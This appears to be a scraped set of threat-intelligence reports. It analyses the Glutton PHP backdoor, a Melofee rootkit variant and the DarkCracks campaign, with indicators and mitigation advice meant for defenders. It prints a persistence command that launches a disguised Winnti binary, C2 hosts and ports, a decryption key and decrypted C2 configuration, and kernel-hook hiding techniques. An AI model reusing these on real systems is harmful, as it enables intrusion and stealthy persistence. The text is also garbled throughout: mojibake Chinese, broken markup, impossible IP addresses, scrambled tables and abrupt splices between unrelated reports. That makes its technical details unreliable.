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Further investigation revealed the same IP had, on December 20, 2023, distributed a zero-detection malicious PHP file, init_task.txt, providing a key lead for the analysis.</p><p>Using <code>init_task</code> as a lead, we identified a series of associated malicious PHP payloads, including <code>task_loader</code>, <code>init_task_win32</code>, <code>client_loader</code>, <code>client_task</code>, <code>fetch_task</code>, and <code>l0ader_shell</code>. These payloads are highly modular, capable of functioning independently or being executed sequentially via <code>task_loader</code> to form a comprehensive attack framework. All code execution occurs within PHP or PHP-FPM (FastCGI) processes, ensuring <strong>no file payloads are left behind, thus achieving a stealthy footprint</strong>. This investigation uncovered a previously <strong>undocumented advanced PHP backdoor</strong>, which we named <strong>Glutton</strong> due to its ability to infect large numbers of PHP files and implant <code>l0ader_shell</code>. The core functionalities of Glutton include:</p><ol><li><strong>Data Exfiltration</strong></li><li><strong>System information, such as OS versions and PHP versions.</li><li><strong>Sensitive Baota panel data, including credentials and management interface details.</li><li><strong>Backdoor Installation</strong></li><li><strong>An ELF-based Winnti backdoor.</li><li><strong>PHP-based backdoors.</li><li><strong>Code Injection</strong></li><li><strong>Malicious code injection targeting popular PHP frameworks like Baota (BT), ThinkPHP, Yii, and Laravel.</li><li><strong>The ELF sample<code>ac290ca4b5d9bab434594b08e0883fc5</code> that triggered the alert was delivered by Glutton&apos;s <code>init_task</code> component. This sample shares near-complete similarity with the PWNLNX tool discussed in <a href="https://blogs.blackberry.com/en/2020/04/decade-of-the-rats?ref=blog.xlab.qianxin.com">BlackBerry&apos;s report &quot;Decade of the RATs&quot;</a> and samples mentioned in <a href="https://x.com/IntezerLabs/status/1308740144120213506?ref=blog.xlab.qianxin.com">IntezerLabs&apos; September 23, 2020 tweet</a>. Most security vendors currently classify this sample as a Winnti backdoor.</p><p>As a hallmark tool of the APT group Winnti, the Linux variant has not been observed in use by other hacking groups since its initial disclosure in 2019. The campaign&apos;s C2 server <code>156.251.163.[.]120</code> remained active during the attack, properly responding to network requests and establishing interactions with the backdoor. This, coupled with the specificity of the sample and the C2&apos;s functionality, effectively rules out the possibility of interference from unrelated cybercriminal groups using dormant samples.</p><p>
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 ad150541a0a3e83b42da4752eb7e269b9c | td>1/62</td> <td>United States</td> </tr> </tbody> </table> <p>Files 1&#x2013;3 were standalone PHP scripts, while files 4&#x2013;5 were archives containing full-fledged business systems. Of these, file 4 stood out as a fraudulent click-farming platform, a common tool in online scams. The malicious code, <code>l0ader_shell</code>, was embedded in the <code>APP.php</code> file of the ThinkPHP framework.</p> <p></p> The VirusTotal analysis revealed that the parent archive was <code>shuadan109.timibbs.cc_20241026_175636.tar.gz</code>. This led us to its download page, where it was being sold for <strong>980 USD</strong>.</p> <p></p> The archive was hosted on <strong>Timibbs</strong>, a forum infamous for selling cybercrime tools and resources, including scripts for gambling, gaming, fake cryptocurrency exchanges and click-farming operations&#x2014;all sold at premium prices.</p> <p></p> While we didn&#x2019;t verify whether the VirusTotal sample perfectly matches the code sold on Timibbs (<code>980USD</code> felt like a poor investment, LOL</code>), the relationship between Glutton&#x2019;s creators and the forum appears to follow one of several possibilities:</p> <ol> <li><strong>The hacker is a customer</strong>, purchasing tools from the forum and embedding malicious code.</li> <li><strong>The hacker breached the forum</strong>, injecting backdoors into shared resources.</li> <li><strong>The hacker collaborates with the forum</strong>, co-developing compromised systems.</li> <li><strong>The hacker operates independently</strong>, with their tools later added to the forum.</li> </ol> <p>Regardless of the details, one thing is clear: Glutton&#x2019;s authors exploited the cybercrime ecosystem itself, using poisoned tools to turn cybercrime operators into unwitting pawns. Their strategy might be best summarized like this:</p> <blockquote> <p>&quot;Why should these small-time scammers in gambling and click-fraud get all the money? Let&#x2019;s rob them blind! Here&#x2019;s the plan: flood the market with backdoored systems, let them unknowingly &#x2018;work&#x2019; for us, and then cash out big-time. Even if they figure it out, they won&#x2019;t dare report it. Absolutely brilliant!&#x2013;</p> </blockquote> </blockquote> <h1 id="analysis-of-glutton">Analysis of Glutton</h1> <p>We have captured multiple components of <strong>Glutton</strong>, including <code>task_loader</code>, <code>init_task</code>, <code>client_loader</code>, <code>client_task</code>, <code>fetch_task</code>, and <code>l0ader_shell</code> (note: names like <code>client_loader</code>, <code>client_task</code>, and <code>fetch_task</code> are assigned based on their observed functionality). Each file contains approximately 3000 lines of code, none of which are encrypted or obfuscated, making their functionality relatively easy to analyze. This report will focus on the core functional code; readers interested in more details can refer to the full source code for deeper insights.</p> <h2 id="modular-framework-design">Modular Framework Design</h2> <p>These PHP components can operate independently or interact through <code>task_loader</code> as an entry point, incrementally loading other modules to construct a <strong>fileless attack framework</strong>. The framework&#x2019;s core capabilities include:</p> <ol> <li><strong>Infecting PHP files</strong> on the target device.</li> <li><strong>Deploying backdoors</strong>, including the Winnti backdoor and a PHP backdoor.</li> </ol> <p>This modular design not only enhances the adaptability of the attack but also makes it harder to detect and trace during defensive operations.</p> <p>We speculate that the attackers use multiple methods to spread Glutton, including:</p> <ul> <li>Exploiting traditional <strong>0DAY and NDAY vulnerabilities</strong>.</li> <li>Leveraging <strong>weak password brute-forcing</strong> techniques.</li> <li>Distributing pre-compromised business systems with embedded <code>l0ader_shell</code> via <strong>cybercrime source code forums</strong>, enabling targeted attacks on the cybercrime ecosystem itself.</li> </ul> <p></p> <h2 id="indicators-of-glutton-infection">Indicators of Glutton Infection</h2> <p>Infected devices exhibit the following signs:</p> <ol> <li><strong>File-Level Indicators</strong>: PHP files are injected with <code>l0ader_shell</code>.</li> </ol> <p></p> <ol> <li><strong>Process-Level Indicators</strong>: <ul> <li><strong>Winnti backdoor process</strong> (<code>php-fpm</code>) listens on UDP port 6006.</li> <li><strong>PHP backdoor process</strong> (<code>[kworker/0:0HCl]</code>) communicates over UDP.</li> </ul> </ol> <p></p> <h1 id="part1-taskloader">Part1: task_loader</h1> <p>The <strong>task_loader</strong> module plays a pivotal role in Glutton&#x2019;s attack chain. Its primary function is to assess the execution environment and use different methods to download and execute the next-stage payload based on the detected environment. Key functions include:</p> <ol> <li><strong>run_task_by_system</strong></li> <li><strong>run_task_direct</strong></li> </ol> <p></p> <h4 id="functional-overview">Functional Overview</h4> <p>The table below summarizes the behavior of each function:</p> <table> <thead> <tr> <th><strong>Function</strong></th> <th><strong>Path</strong></th> <th><strong>Execution Environment</strong></th> </tr> </thead> <tbody> <tr> <td><code>run_task_by_system</code></td> <td><code>/v11/init_task.gz</code></td> <td><strong>New PHP process</strong></td> </tr> <tr> <td><code>run&get_php_code</code></td> <td><code>/v11/init_task.gz</code></td> <td><code>run_task_direct</code></td> </tr> </tbody> </table> <p><code>/v11/modify_php_v11.gz</code></p> <table> <tr> <td><strong>Details of Payloads</strong></td> <td><ul> <li><strong>init_task</strong></li> <li><strong>Downloaded by both</strong></li> <li><strong>run_task_by_system</strong> and <strong>run&get_php_code</strong>.</li> <li><strong>Serves as the primary payload for further infection.</strong></li> </ul></td> </tr> <tr> <td><strong>init_task</strong></td> <td><ul> <li><strong>Downloaded by</strong> <code>run_task_direct</code>.</li> <li><strong>A subset of</strong> <code>init_task</code>, optimized for specific modifications to the environment.</li> </ul></td> </tr> <tr> <td><strong>Part2: init_task</strong></td> <td><ul> <li><strong>The</strong> <code>init_task</code> module performs three critical tasks:</li> <li><strong>elf_install</strong>: Downloads and executes the Winnti backdoor.</li> <li><strong>bt_modify</strong>: Infects Baota (BT) panels to collect sensitive information and modify system files.</li> <li><strong>php_modify</strong>: Infects PHP files to embed code for subsequent payload delivery.</li> </ul></td> </tr> <tr> <td><strong>Part2: elf_install</strong></td> <td><ul> <li><strong>Task</strong>: <code>elf_install</code> Task</li> <li><strong>The</strong> <code>elf_install</code> task downloads the Winnti backdoor, masquerading it as <code>/lib/php-fpm</code>. To achieve persistence, it appends the following command to <code>/etc/init.d/network</code>:</li> <li><pre><code>language=bash"export OLD=$PATH; export PATH=/usr/lib; php-fpm; export PATH=$OLD;</code></pre></li> <li><strong>Observed Download URLs and MD5s</strong></li> </ul></td> </tr> <tr> <td><strong>Part2: v12.247.1271.1210/v11/php-fpm</strong></td> <td><ul> <li><strong>ac290ca4b5d9bab434594b08e0883fc5</strong></li> <li><strong>v76.thinkphp1.1.com/v11/php-fpm</strong></li> <li><strong>ac290ca4b5d9bab434594b08e0883fc5</strong></li> <li><strong>v20.thinkphp1.1.com/static/v20/php-fpm</strong></li> <li><strong>ac290ca4b5d9bab434594b08e0883fc5</strong></li> </ul></td> </tr> <tr> <td><strong>Part2: ac290ca4b5d9bab434594b08e0883fc5</strong></td> <td><ul> <li><strong>sample closely resembles the one exposed by BlackBerry, with additional functionality for updating C2 configurations and samples. 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The first significant change lies in the `php_modify` task, where the `loader` function's code is now obfuscated, unlike its straightforward implementation in `init_task`.

`src="https://blog.xlab.qianxin.com/content/images/2024/12/php_makecode.png" alt="php_makecode.png" loading="lazy">`
The obfuscation adds a layer of complexity, making reverse-engineering more challenging for defenders.

The core functionality of the `loader` function remains unchanged; however, the network infrastructure used for communication has been updated.

| <code>init_task</code> |
|-------------------------|
| <code>Reporter</code> |
| <code>Downloader</code> |

The `init_task` updates the `udp://v6.thinkphp11.com:9988` to `udp://v20.thinkphp11.com:9988` and the `client_loader` to `udp://v20.thinkphp11.com/init?`.

The most notable enhancement in `client_loader` is the introduction of a new capability: downloading and executing a backdoored `client`.

`src="https://blog.xlab.qianxin.com/content/images/2024/12/php_downclitask.png" alt="php_downclitask" loading="lazy">`
Why Add a Backdoored Client?
One might wonder why the attackers introduced a backdoored client when the Winnti backdoor was already deployed. The reasoning becomes clear when considering the broader objectives and the advantages of a PHP-based backdoor:

- Unlike the ELF-based Winnti backdoor, the PHP client can operate seamlessly across Linux, Windows, and macOS systems.
- By leveraging PHP for backdoor functionalities, the attackers achieve higher stealth through fileless execution, reducing the likelihood of detection.
- AV Evasion
- Antivirus engines often lack robust signatures for PHP-based malicious samples, allowing the PHP client to bypass traditional defenses.

Part4: client_task

The `client_task` module is responsible for two primary tasks:

- Launching a PHP backdoor.
- Periodically executing the `fetch_task` function to retrieve and execute additional payloads.

`src="https://blog.xlab.qianxin.com/content/images/2024/12/php_client_task.png" alt="php_client_task" loading="lazy">`
The `0x01: PHP Backdoor` functionality is implemented using the `client_socket` class, which provides a framework for backdoor operations.

`core-features`

- Core Features
- Communication
- Hardcoded C2: `cc.thinkphp1.com:9501`
- Supports both TCP and UDP, defaulting to UDP for communication.
- Command Execution

The `client_v1` class extends `client_socket`, using the `process_std_cmd_v1` class to process commands from the C2 server.

`src="https://blog.xlab.qianxin.com/content/images/2024/12/php_client_v1.png" alt="php_client_v1" loading="lazy">`
The backdoor supports 22 distinct commands, as shown below:

| <code>Function</code> |
|---|
| <code>ping</code> (UDP only) |
| <code>pong</code> (UDP only) |
| <code>login</code> |
| <code>cmd</code> |
| <code>set</code> (connection config) |
| <code>switch</code> (connection to TCP/UDP) |
| <code>upload/download</code> file via TCP |
| <code>get_dir</code> (get dir info) |
| <code>mkdir</code> |
| <code>write</code> file |
| <code>read</code> file |
| <code>create</code> file |
| <code>rm</code> |
| <code>copy</code> file |
| <code>rename</code> file |
| <code>eval</code> (PHP code) |
| <code>chown</code> |
| <code>chmod</code> |

The `communication-protocol` includes an additional `liveness check` process with a `pong` response from the server.

Typical interaction sequence: `ping`; `pong`; `login`; `cmd`; `heartbeat`.

`src="https://blog.xlab.qianxin.com/content/images/2024/12/php_packet.png" alt="php_packet" loading="lazy">`
The first byte (`0x00`) indicates compression, the second byte specifies the command code.

- `0x00`: No compression.
- `0x01`: Compression enabled (used for data > 32 bytes).
- `0x02`: Contains host metadata such as `host_user`, `host_os`, `host_name`, and `host_cwd`.

The payload is parsed using `Inflate`.

`src="https://blog.xlab.qianxin.com/content/images/2024/12/php_login.png" alt="php_login" loading="lazy">`
The `fetch_task` function is executed hourly. It retrieves and executes additional PHP payloads by making an HTTP request to the remote server.

`payload-retrieval-process`

The `http://v20.thinkphp1.com/v20/fetch` response contains compressed PHP code, which is decompressed and executed.

`src="https://blog.xlab.qianxin.com/content/images/2024/12/php_fetchtask.png" alt="php_fetchtask" loading="lazy">`
The `observed-payloads` function retrieves the `client_loader` payload, identified by the MD5 hash `69ed3ec3262a0d9cc4fd60cebfff2a17`.

`src="https://blog.xlab.qianxin.com/content/images/2024/12/php_fetchtrack.png" alt="php_fetchtrack.png" loading="lazy">`
The `easter-eggs-in-glutton` campaign

Easter Eggs in Glutton's Campaign

The `do_tp5_request` function in `Glutton` is used to clean up infections in older versions of the `Request.php` file. By analyzing the `$ref_lines` in the code, it was discovered that the domain `jk1wang.com` (0 detections on VirusTotal) is also part of `Glutton's` infrastructure.

`src="https://blog.xlab.qianxin.com/content/images/2024/12/php_ang.png" alt="php_ang.png" loading="lazy">`
This suggests that `Glutton's` operators maintain a wider network of assets than initially detected, enabling them to extend their campaign reach.

HackBrowserData

On June 14, the domain `macOS version` of the `HackBrowserData` tool.

`src="https://blog.xlab.qianxin.com/content/images/2024/12/php_hackbrowser.png" alt="php_hackbrowser.png" loading="lazy">`
The `about-hackbrowserdata` is a legitimate tool designed to decrypt and export browser-stored data, including: Passwords, Browsing history, Cookies, etc.

`src="https://blog.xlab.qianxin.com/content/images/2024/12/php_hack.png" alt="php_hack.png" loading="lazy">`
We hypothesize that `HackBrowserData` was deployed as part of a `black eats black` strategy. When cybercriminals attempt to locally debug or modify backdoored business systems, `Glutton's` operators deploy `HackBrowserData` to steal high-value sensitive information from the cybercriminals themselves. This creates a recursive attack chain, leveraging the attackers' own activities against them.

Conclusion

Based on the initial discovery of `init_task`, we estimate that `Glutton` has been active undetected in the cybersecurity landscape for over a year. In addition to targeting traditional `whitehat` victims through cybercrime, `Glutton` demonstrates a strategic focus on exploiting cybercrime resources operators. Its authors exhibit clear ambitions to `win three times`, reflected in the following:

- Stealing high-value sensitive information from cybercrime operators.
- Profiting from the cybercrime industry itself, leveraging infected systems for significant economic gain.
- Harvesting sensitive data on cybercrime participants to enable future phishing or social engineering campaigns.

To mitigate the threat posed by `Glutton`, we recommend that system administrators take the following steps to identify and neutralize potential infections:

- Inspect all PHP files for signs of `loader_shell`.
- Remove malicious processes, including the Winnti backdoor process and the PHP backdoor process.
- Harden temporary directories by creating a `.dotnot` file in `/tmp` to prevent exploitation.

This analysis represents the extent of our current understanding of the `Glutton` backdoor. Due to limited visibility, its initial access vector remains unclear. We invite contributions from partners and readers with relevant intelligence to help enrich the technical and tactical matrix of `Glutton` and improve attribution efforts.

If you are interested in our research, feel free to connect with us via `contact@xlab.com` or share insights or discuss collaborative opportunities.

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`156.251.163.1120` - `download` - `winnti backdoor`

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<code>fetch_task</code> 和</code>10ader_shell</code>（注：client_loader、client_task 和 fetch_task
等名称为我们根据其功能命名）。这些文
3000
行代码￼均未进行任何加密或惷淆，功能
</p><p><p>这些 PHP
组件既可以独立运行，也可以通过 task_loader
俅为入口逐步加载其他模块，构建一个无
PHP 文件，并部署 Winnti 后门和 PHP
后门。这种模块化设计不仅增强了攻击的
</p><p>我们推测，攻击者在传播 Glutton
时采用了多种手段：除了传统的 0DAY、NDAY
漏洞和弱口令入侵方式外，还可能通过黑
loader_shell
的业务系统，以进一步扩大感染范围，对
</p><p></p>
<p>设备感染Glutton后有以下迹象</p>
文件层面：PHP文件中被植入10ader_shell

进程层面：监听UDP端口6006的winnti backdoor进程<code>php-
fpm</code>；udp通信的php backdoor进程<code>[kworker/0:0HC]</code>
<h1 id="part1-
taskloader">Part1: task_loader</h1>
<p>task_loader核心功能是检查执行环境，根据环境&
</p><p></p>
<p>其񎉍run_task_by_fpm没有实现，run_task_by_system，runjget_php_code下这的
</p><table><thead><tr><th>Function</th><th>Path</th><th>Execution Env</th></tr><tbody><tr><td>run_task_by_system</td>
<td>/v11/init_task.gz</td><td>new php process</td></tr><tr><td>runjget_php_code</td><td>/v11/init_task.gz</td><td>fastcgi</td></tr>
<tr><td>run_task_direct</td><td>/v11/modify_php_v11.gz</td><td>original php process</td></tr></tbody></table><h1 id="part2-
inittask">Part2: init_task</h1>
<p>init_task的主要任务有3个：elf_install则是下迗执行winnti&
</p><p></p><h2
id="0x01elfinstall-%E4%B8%BB%E5%8A%A1">0x01:elf_install 任务</h2>
<p><elf_install任务，它向服务器请求winnti后门，将其&#x
fpm文件，并通过向/etc/init.d/network中插入<code>export OLD=\$PATH; export
PATH=/usr/lib; php-fpm; export PATH=\$OLD;
</code>实现持久化。目前一共检测到个不同的
</p><table><thead><tr><th>URL</th><th>MD5</th></tr></thead><tbody><tr><td>172.247.127.1210/v10/php-fpm</td>
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<tr><td>v20.thinkphp1[.com/static/v20/php-fpm</td><td>ac290ca4b5d9bab434594b08e0883fc5</td></tr></tbody></table>
<p><ac290ca4b5d9bab434594b08e0883fc5与BlackBerry曝光样本高度相促，只是&#
<code>C2更新，样本更新
</code>等功能。C2配置依然使用经典rolling
xor加密，秘钥为
CB2FA36AA9541F0，一共支持3组C2，解密后均为156.251.163
</p><p>

目前该IP已失活，但历史上可以看出它能k
C2。</p><p></p><h2 id="0x02-
btmodify%E4%BB%BB%E5%8A%A1">0x02: bt_modify任务</h2>
<p>在bt_modify任务中，find_all函数用于采集宝塔的敏&#x
</p><p></p>
find_all收集用户名，密码，手机号，SSH凭&#x
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<td>bt_port</td><td>bt_sites</td><td>bt_sites_path</td></tr><tr><td>bt_ssh</td><td>bt_user_md5</td><td>bt_username</td><td></td></tr></tbody></table>
<p>实际产生的流量如下所示，将body部分内宋
decode + raw inflate即可还原。</p><p></p><p>do_modify
</p>
<p><do_modify对宝塔框架中的init.py，public.py，ssh_terminal.py，files.py，conf
</p><p></p>
窃取凭证，token等

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<h2 id="0x03-phpmodify%E4%BB%BB%E5%8A%A1">0x03: php_modify任务</h2>
<p>php_modify任务通过以下代码片段对thinkphp，yii，laravel，
</p><p></p>
<p>俯改逻诹是在PHP框架代码中出现\$_ref_line代码的
</p><p></p>
<p>这些篡改的页面被调用时，v11_code也就得到
<code>v11_begin + PHPCODE_MAIN +
v11_end</code>部分组成，其中v11_begin与v11_end的值分别
</code>而PHPCODE_MAIN则是init_task中一个const变量，保存了一Ӣ
</p><p></p>
<p>loader函数的功能有俩个：</p>
使用UDP协议上报被主机信息以及被触发页&
v6.thinkphp1[.com:9988</p><p></p>
<p>实际产生的流量如下所示：</p><p></p>
<p>构建HTTP请求，下载执行下一阶段的client_loader。
</p><p></p>
<p>实际毝产生流量如下所示：</p><p></p><h1
id="part3-clientloader">Part3: client_loader</h1>
<p>client_loader实际上是init_task的重构版本，它支持init_taskb

第一个大变化是php_modify，它的10ader函数的代码开
</p><p></p>
<p>loader的功能依旧，只不过使用的网络基ࢻ
</p><table><thead><tr><th>File</th><th>Reporter</th><th>Downloader</th></tr></thead><tbody><tr><td>init_task</td>
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<p>第二个大变化是新增了一个新功能，下
</p><p></p>
<p>诸者或许会问已经有了winnti后门，为什么ࣽ
</p>
能很好的跨平台
无落地文件投递方式带来高隐蔽性
杀毝引擎実于PHP语言实现的恶意样本不具
<h1 id="part4-clienttask">Part4: client_task</h1>
<p>client_task的主要任务有10ader俩个：1是启劫PHPS后门木š
</p><p></p><h2
id="0x1-php%E5%90%E8%E9%97%A8">0x1 PHP后门</h2>
<p>client_socket类实现了php后门的功能框架，它硬编
cc.thinkphp1.com:9501，支持TCP,UDP俩种通信方式，默认&#
</p><p></p>
<p>client_v1类继承client_socket，通过process_std_cmd_v1类处理C2下发的&#
</p><p></p>
<p>这个后门支持22个不同的指令，以为指
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<td>pong</td></tr><tr><td>10</td><td>login</td></tr><tr><td>31</td><td>keepalive</td></tr><tr><td>148</td><td>set
connection config</td></tr><tr><td>149</td><td>switch connection to tcp</td></tr><tr><td>150</td><td>switch connection to udp</td>
</tr><tr><td>151</td><td>shell</td></tr><tr><td>152</td><td>upload/download file via tcp</td></tr><tr><td>189</td>
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<td>mkdir</td></tr><tr><td>193</td><td>write_file</td></tr><tr><td>194</td><td>read_file</td></tr><tr><td>195</td><td>create
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ping, server
pong&#x3002;&#x4EE5;UDP&#x901A;&#x4FE1;&#x4E3A;&#x4F8B;&#xFF0C;&#x53EF;&#x4EE5;&#x5F88;&#x6E05;&#x6670;&#x7684;&#x770B;&#x51FA;&#x201C;ping -
pong - login -cmd -
heartbeat&#x201D;&#x7684;&#x4EA4;&#x4E92;&#x8FC7;&#x7A0B;&#x3002;&#x7F51;&#x7EDC;&#x901A;&#x4FE1;&#x62A5;&#x6587;&#x7684;&#x7B2C;&#x4E00;&#x4E2
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<p>login&#x307;&#x4EE4;&#x4E2D;&#x7684;&#x6570;&#x636E;&#x8BE5;&#x5982;&#x4F55;&#x89E3;&#x6790;&#x5462;&#xFF1F;0xf1&#x8868;&#x793A;&#x538B;&#x
host_os, host_name, host_cwd&#x7B49;&#x4FE1;&#x606F;&#x3002;</p><p></p><h2>0x2-fetchtask">0x2
Fetch_task</h2><p>Fetch_task&#x6BCF;&#x5C0F;&#x65F6;&#x6267;&#x884C;&#x4E00;&#x6B21;&#xFF0C;&#x5411;&#x8FDC;&#x7A0B;&#x670D;&#x52A1;&#x5668;
<code>http://v20.thinkphp1.com/v20/fetch</code>&#x8BF7;&#x6C42;PHP&#x4EE3;&#x7801;&#xFF0C;&#x89E3;&#x538B;&#x6267;&#x884C;&#x3002;</p><p></p>
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targeting Red Hat Enterprise Linux (RHEL) 7.9.</p> <p><em>Melofee</em>, a C++ backdoor, enables data collection, process management, file handling,
and shell access. Originally <a href="https://blog.exatrack.com/melofee/?ref=blog.xlab.qianxin.com">exposed by ExaTrack</a> in March 2023 and
attributed to the <strong>APT group Winnti</strong>, this latest variant has notable upgrades. Structurally, it embeds an RC4-encrypted kernel
driver to mask traces of files, processes, and network connections. Functionally, it adds improvements in persistence, single-instance control,
and function ID design.</p> <p>By examining the sample&apos;s Run-Time Type Information (RTTI), we observed source-level modifications. For
instance, the network connection class name has changed from <code>TLSSocket</code> in earlier samples to <code>TlsConn</code> in this variant,
suggesting ongoing reconstruction and use of Melofee beyond the security community&apos;s radar.</p> <p>Notably, during our investigation, we
encountered an intriguing <strong>misattribution</strong>. The new variant utilizes the C2 address <code>filemanage.microsofts-file.com</code>.
According to Passive DNS (PDNS) records, this C2&apos;s second-level domain, <code>microsofts-file.com</code> and its associated domain,
<code>www.microsofts-file.com</code> resolved to IP address <code>91.195.240.123</code> between November 2023 and June 2024. This IP also
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appeared in <https://blogs.xlab.qianxin.com/2024/07/sidewinder-targets-ports-and-maritime-facilities-in-the-mediterranean-sea?ref=blog.xlab.qianxin.com> "BlackBerry≈os; s July 2024 report on the APT group Sidewinder and has been flagged as malicious by several security vendors on VirusTotal. Does this imply that Melofee has circulated among multiple organizations, becoming a cross-group tool rather than being exclusive to a single group?</p><p>We believe this is unlikely. The IP address <code>91.195.240.123</code> is a parking IP provided by domain registrar NameSilo. Labeling it as malicious likely constitutes a false positive. NameSilo automatically resolves new registered second-level domains and "www" subdomains to this IP, leading to potential misattributions, as legitimate domains, unrelated malicious domains, and APT activities may all share this IP.</p><p>Due to limited visibility, we currently lack details on the attacker’s entry methods and goals. We invite others to share insights to enrich the technical landscape. Given the low detection rate of this sample and Melofee’s stealth, we’re sharing these findings with the community for broader cybersecurity awareness.</p><p>This report covers:</p>Overlay structure and decryption methodDriver module’s functionalitiesMelofee’s capabilities<h1 id="technical-details">Technical Details</h1><p>We have captured a single sample with the following details:</p><pre><code>MD5: 603e38a59efcf6790f2b4593edb9faf5 Magic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=48bcb3f7c78bc746e25264058a76145b63bbf440, for GNU/Linux 3.2.0, stripped </code></pre><p>This variant operates in two modes based on launch parameters: Infection Mode and Management Mode.</p><p>Infection Mode (No Parameters)
When launched without parameters, Melofee enters Infection Mode, performing the following:</p>Enforces single instance via <code>/tmp/lock_tmp1</code>Achieves persistence via <code>crontab</code>, disguising the process name as <code>[md]</code> or <code>wwwwww</code>Decrypts and installs a driver module for stealth across files, processes, network connections, and directoriesDecrypts and connects to its C2 server, awaiting commands<p>Management Mode (With Parameters)
When launched with parameters, Melofee enters Management Mode, controlling driver hiding functionality:</p>hide: Activates hiding featuresshow: Deactivates hidingkill: Terminates the process<p>This design enables flexible operation across infection and management needs. The next sections will cover Melofee’s decryption, driver module, and backdoor functions in detail.</p><h2 id="part-1-decryption">Part 1: Decryption</h2><p>Melofee stores its RC4-encrypted driver module as an overlay appended to the file’s end, using a structure called <code>drv_overlay</code>:</p><pre><code>class="language-c">struct drv_overlay { int encrypted_payload[payload_size]; int payload_size; char flag[12]; } </code></pre><p>In this sample, the <code>flag</code> is set to "EV#?YLFaKoip" and <code>payload_size</code> is <code>0x6a08</code>. The <code>encrypted_payload</code> spans <code>0x6a08</code> bytes backward from <code>payload_size</code>.</p><p></p><p>Using the key <code>87JoENDi</code>, the <code>encrypted_payload</code> is decrypted to reveal the driver module <code>kworkerx</code>, designed for RHEL 7.9 with kernel version 3.10.0.</p><p></p><p>The C2 configuration is also RC4-encrypted, using the same key <code>87JoENDi</code>.</p><p>Encrypted C2 Data:</p><pre><code>00000000 a2 a4 96 0e 27 ee 40 54 a5 3a 52 8e 65 cf b1 e1 |¢¤...î@T¥:R.eÏ±á| 00000010 29 69 32 86 ae 56 4d 28 a2 b8 da 6e e1 05 5d 65 |)i2.¢VM(¢¸Úá.je| 00000020 fc 86 88 50 43 17 |ü...PC.| </code></pre><p>Decrypted C2 Configuration:</p><pre><code>0:filemanage.micrsofts-file.com:443:60 </code></pre><p>This configuration includes the following elements:</p>Connection TypeC2 DomainC2 PortInterval<h2 id="part-2-driver-module-analysis">Part 2: Driver Module Analysis</h2><p>The decrypted driver module, <code>kworkerx</code>, has the following basic information:</p><pre><code>MD5: 839f60efee25f07df7b23ba9d6bef892 Magic: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=c440028449ebce5c899a51ef0eb4d7fc43493253, not stripped </code></pre><p>Through analysis, we confirmed that <code>kworkerx</code> is a modified version of the open-source project Reptile. The original Reptile project supports 12 functions, categorized into two main types: hiding and backdoor capabilities. <code>kworkerx</code> primarily utilizes the hiding functions.</p><p></p><h4 id="hiding-mechanisms-in-kworkerx">Hiding Mechanisms in <code>kworkerx</code></h4>Network Communication Hiding:<code>kworkerx</code> hooks the <code>tcp4_seq_show</code> function within its initialization routine, effectively hiding all network traffic on port 443.File, Process, and Directory Hiding: To conceal files, processes, and directories, <code>kworkerx</code> hooks several functions, including <code>filloaddir</code>, <code>filldir</code>, <code>filldir64</code>, and <code>vfs_read</code>.<h4 id="communication-with-user-space">Communication with User Space</h4><p><code>kworkerx</code> also hooks the <code>inet_ioctl</code> function to facilitate communication with user-space applications and receive control commands.</p><p></p><p>When a user-space application calls the <code>ioctl</code> function with the second parameter set to <code>0xE0E0E0E0</code>, it triggers the handler function <code>khook_inet_ioctl</code> in <code>kworkerx</code>. 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Additional hiding features, such as process, directory, and persistence concealment, are activated through control commands sent via IOCTL.</p><p></p><p>When executed without parameters in a virtual machine, Melofee successfully concealed its process, the sample file, the persistence script, and network connections. Running the sample again with the <code>show</code> parameter revealed the process, sample file, and persistence script, while the network connection remained hidden. Finally, using the <code>rmmode</code> command to unload the <code>kworkerx</code> module restored visibility to the previously hidden network connection.</p><p></p><p>After installing the driver module, Melofee decrypts the C2 configuration and establishes communication, waiting to receive and execute commands. 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designed upgrade mechanism, leveraging high-performance, stable online infrastructure as its backbone.</p> <p>Based on our data, DarkCracks is
a meticulously crafted malware, indicating that its creators are far from mere script kiddies. While we have mapped out its payload delivery
and upgrade framework, the high level of stealth employed by DarkCracks has left us with limited visibility into its Launcher component as of
now.</p> <p>However, on August 26th, we observed a new password-protected PDF file named &quot;resume&quot; being added to the github
repository. This file was later renamed to the Korean name <code>&quot;&#xAE40;&#xC601;&#xBBF8; &#xC774;&#xB825;&#xC11C;&quot; (Kim Young-
mi&apos;s resume)</code>. Given the commonality of this Korean name, we strongly suspect that part of this component&#x2019;s functionality
involves social engineering activities targeting Korean-speaking users.</p> <p>DarkCracks exploits compromised GLPI and WordPress sites to
function as Downloaders and C2 servers. These compromised sites are used to collect sensitive information from infected devices, maintain long-
term access, and serve as relay nodes to control other devices or deliver malicious payloads, effectively masking the attacker&#x2019;s tracks.
Within our monitoring scope, targeted entities include public service systems across different countries, such as <strong>school websites,
public transportation systems, and even prison visitor systems</strong>.</p> <h1 id="discovery-journey">Discovery Journey</h1> <p>On June 5,
2024, <strong>CTIA</strong> issued an ELF_Downloader alert for the network traffic associated with ELF file 8b3d2b156424e5a0dc3f6d2b0dec96b2.
The traffic, HTTP in nature, was traced to the download path <code>/vendor/sabre/event/lib/Promise/wk8dnj2k-x64-musl</code>, which exhibited
unusually deep directory structures, raising suspicions of a potential breach. Upon further investigation, we confirmed that the server at IP
45.169.87.67 had been compromised, with the attack surface being the GLPI system running on that IP. The file <code>wk8dnj2k-x64-musl</code>
was identified as a Runner, responsible for decrypting a JSON configuration file specified by its parameters, downloading, decrypting, and
executing the Client designated in the <code>clientUrl</code> field. The Client&apos;s role is to report the compromised device&apos;s
information, driven by C2-issued configuration files, and to download updates for the Runner, Client, Launcher, and other components. As of
now, both Runner and Client components have a zero detection rate on VirusTotal, indicating that they have been operating stealthily under the
radar of security vendors for over a year.</p> <p>On June 12, 2024, another download script, <code>f8a495a98c43b0805f53be14db09c409</code>,
came to our attention. It utilized a similar download path, <code>/vendor/sebastian/diff/src/Exception/p01IM9hd-x64-musl</code>. This file was
strikingly similar to <code>wk8dnj2k-x64-musl</code>, and the server at IP 179.191.68.85, also running GLPI services, was found to host it.</p>
<p>The appearance of similar files with different names, hosted on different servers and paths, strongly indicated the presence of an unknown
attacker actively breaching GLPI systems and leveraging compromised devices as infrastructure to conduct their cybercriminal activities. To
